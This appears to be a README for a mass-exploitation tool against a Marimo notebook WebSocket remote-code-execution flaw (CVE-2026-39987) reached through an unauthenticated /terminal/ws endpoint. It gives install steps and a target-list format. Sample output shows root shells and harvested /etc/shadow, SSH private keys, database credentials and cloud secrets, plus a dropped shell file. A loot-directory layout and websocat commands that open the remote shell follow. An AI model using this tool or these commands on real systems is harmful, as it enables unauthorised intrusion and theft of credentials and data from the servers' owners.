/ws          →  calls validate_auth()  ✅  Authentication enforced
/terminal/ws →  skips validate_auth()  ❌  No authentication

Python 3.10 or higher

pip install websockets rich requests urllib3

pip install -r requirements.txt

websockets
rich
requests
urllib3

192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718

python3 CVE-2026-39987.py

  ▸ Targets file  (default: targets.txt) : targets.txt
  ▸ Threads       (default: 50)          : 100

  ╭──────────────────────────────────────────────────────────╮
  │ CVE-2026-39987  ·  Marimo WebSocket RCE                  │
  │ MASS SCANNER  ·  FULL ENUM  ·  SMART DETECT              │
  │ By: Nxploited  ·  github.com/Nxploited  ·  @KNxploited   │
  ╰──────────────────────────────────────────────────────────╯

  ══════════════ ws://192.168.1.100:2718/terminal/ws ══════════

  ╭────────────────────────────────────────╮
  │  ◈◈◈  ROOT ACCESS  ◈◈◈                │
  │  ws://192.168.1.100:2718               │
  │  uid ▸  uid=0(root)  groups=[root]     │
  ╰────────────────────────────────────────╯

  ──  ENVIRONMENT  ──────────────────────────────────────────
    ✦  Type                  MARIMO
    ◈  Docker                True
    ◈  Marimo version        0.22.1
    ◈  Notebook directory    /app/notebooks

  ──  MARIMO — NOTEBOOKS  ───────────────────────────────────
    ✦  Notebooks             7 found
       ·                     /app/notebooks/analysis.py
       ·                     /app/notebooks/data_pipeline.py
       ·                     /app/notebooks/etl_job.py

  ──  MARIMO — TOKENS  ──────────────────────────────────────
    ✦  Token CLI             secret-token-abc123xyz
    ✦  .marimo.toml          /root/.marimo.toml

  ──  /etc  SENSITIVE  ──────────────────────────────────────
    ✦  /etc/shadow           READABLE  [42 entries]
    ◈  /etc/passwd           [42 lines]
    ◈  /etc/crontab          [12 lines]

  ──  SSH KEYS  ─────────────────────────────────────────────
    ✦  /root/.ssh/id_rsa     FOUND
    ✦  /root/.ssh/id_ed25519 FOUND

  ──  DATABASES  ────────────────────────────────────────────
    ✦  MySQL                 DATABASES LISTED
    ✦  Redis                 PONG — NO AUTH
    ✦  DuckDB files          /app/notebooks/data.duckdb

  ──  SENSITIVE ENV VARS  ───────────────────────────────────
    ✦  DATABASE_URL          postgresql://admin:p4ss@db:5432/prod
    ✦  AWS_SECRET_ACCESS_KEY redacted...

  ──  NX FILE DROP  ──────────────────────────────��──────────
    ✦  Shell write           /app/notebooks/Nx.py
    ✦  HTTP access           http://192.168.1.100:2718/Nx.py

  ──  COMPLETE  ─────────────────────────────────────────────
    ◈  Saved to              nx_output/192.168.1.100_2718/

  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

nx_output/
│
├── summary.txt                    ← Master summary of all targets
├── curls.txt                      ← websocat one-liners for all shells
├── Nx.txt                         ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/            ← Per-target directory
    ├── summary.txt                ← Target summary & connect command
    ├── identity.txt               ← id · whoami · uname · hostname · shell
    ├── users.txt                  ← /etc/passwd · shadow · sudoers · last
    ├── ssh_keys.txt               ← Discovered SSH private keys & auth keys
    ├── etc_data.txt               ← /etc/hosts · resolv.conf · crontab · env
    ├── env_sensitive.txt          ← Filtered sensitive environment variables
    ├── databases.txt              ← MySQL · Redis · PostgreSQL · config files
    ├── app_configs.txt            ← .env · wp-config.php · settings.py · etc
    ├── notebooks.txt              ← Full content of all Marimo notebooks
    ├── marimo_toml.txt            ← .marimo.toml configuration files
    ├── marimo_tokens.txt          ← All extracted Marimo auth tokens
    ├── dotenv.txt                 ← .env / .env.local / .env.production
    ├── databases_marimo.txt       ← DuckDB · SQLite · DB URLs from notebooks
    ├── webserver_configs.txt      ← Apache/Nginx VirtualHosts & configs
    ├── network.txt                ← Interfaces · routes · open ports · iptables
    ├── processes.txt              ← ps aux · crontab · cron.d · systemd units
    ├── logs.txt                   ← auth.log · syslog · access.log · error.log
    ├── nx_file.txt                ← Nx drop path · web root · HTTP URL
    └── software.txt               ← PHP · Python · Node.js versions

# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases

# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"

# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"